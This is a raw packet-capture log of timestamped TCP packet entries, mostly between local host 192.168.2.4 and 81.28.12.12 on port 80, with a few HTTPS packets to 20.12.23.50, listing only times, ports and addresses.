Jun 29, 2024 08:05:13.232022047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.232031107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.232040882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.232045889 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.232094049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.232772112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.232825041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.232839108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.232888937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.287241936 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:13.287270069 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:13.287281990 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:13.287287951 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:13.519184113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519210100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519224882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519241095 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519256115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519256115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.519311905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.519344091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.519536018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519566059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519582987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519639969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.519668102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519684076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.519720078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.519748926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.520268917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.520293951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.520307064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.520351887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.520385027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.520395041 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.520411015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.520426035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.520447016 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.520464897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.520513058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.521116972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.521163940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.521176100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.521186113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.521235943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.521244049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.521265984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.521312952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.521997929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522054911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.522058010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522083044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522100925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522114992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522133112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.522176027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.522758007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522772074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522820950 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.522821903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522838116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522856951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.522887945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.522918940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.102662086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.107458115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309045076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309079885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309089899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309129953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.309133053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309144020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309181929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.309212923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.309411049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309462070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309472084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309521914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.309551001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309561014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.309606075 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.310221910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.310252905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.310261965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.310288906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.310317993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.310326099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.310333014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.310343027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.310379982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.310410976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.311135054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311146021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311155081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311193943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311203003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.311203957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311238050 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.311266899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311268091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.311275959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311326981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.311897039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311927080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311938047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.311988115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.311988115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.311995983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312006950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312027931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312048912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.312079906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.312797070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312805891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312861919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312866926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.312926054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.312932014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312942028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312952042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.312994957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.313601017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.313610077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.313616037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.313668013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.313705921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.313709974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.313715935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.313729048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.313766003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.313813925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.314416885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.314466953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.314472914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.314476967 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.314492941 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.314512014 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.314522028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.314532995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.314548969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.314594030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.315296888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.315340042 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.315350056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.315360069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.315392017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.315407038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.315416098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.315433025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.315433025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.316092014 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.316119909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.316138029 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.316152096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.316159010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.316199064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.316217899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.316220045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.316231966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.316241980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.316274881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.316303015 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.317033052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317091942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317096949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.317101955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317111969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317138910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317142963 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.317146063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317168951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.317193031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.317940950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317950964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317960024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.317998886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.318016052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.318020105 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.318026066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.318068981 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.318721056 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.318767071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.318784952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.318788052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.318800926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.318810940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.318820000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.318821907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.318855047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.318882942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.319570065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.319595098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.319602966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.319628954 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.319658041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.319669008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.319683075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.319690943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.319731951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.320439100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.320447922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.320513010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.320535898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.320544958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.320554018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.320564032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.320580959 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.320615053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.321240902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.321249962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.321259975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.321319103 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.321336985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.321337938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.321347952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.321357012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.321396112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.321441889 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.322107077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.322115898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.322127104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.322174072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.322202921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.322211981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.322215080 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.322222948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.322256088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.322284937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.323016882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323066950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323076963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323091984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323092937 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.323121071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.323158979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.323211908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323262930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.323270082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323313951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.323812008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323853016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323862076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.323870897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.323904037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.323930025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.324099064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324126959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324137926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324157953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.324246883 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.324757099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324781895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324790001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324815989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.324840069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324850082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324860096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.324862003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.324888945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.324919939 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.325505972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.325547934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.325556993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.325568914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.325570107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.325579882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.325587988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.325607061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.325620890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.325648069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.325676918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.326487064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.326550007 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.326605082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.326612949 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.326622963 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.326632977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.326642990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.326654911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.326694012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.327222109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.327271938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.327280998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.327280998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.327291012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.327316999 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.327337980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.327348948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.327358961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.327399969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.398664951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.398677111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.398696899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.398708105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.398719072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.398753881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.398788929 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.398799896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.398813009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.398868084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.399024010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.399081945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.399092913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.399116993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.399147987 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.399151087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.399163008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.399208069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.399209023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.399219990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.399260998 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.400696039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.400715113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.400726080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.400775909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.400824070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.400835037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.400852919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.400865078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.400877953 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.400907993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.400916100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.400969982 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.401469946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.401513100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.401523113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.401537895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.401556969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.401560068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.401607037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.401607037 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.401644945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.401657104 CEST	80	49731	81.28.12.12	192.168.2.4
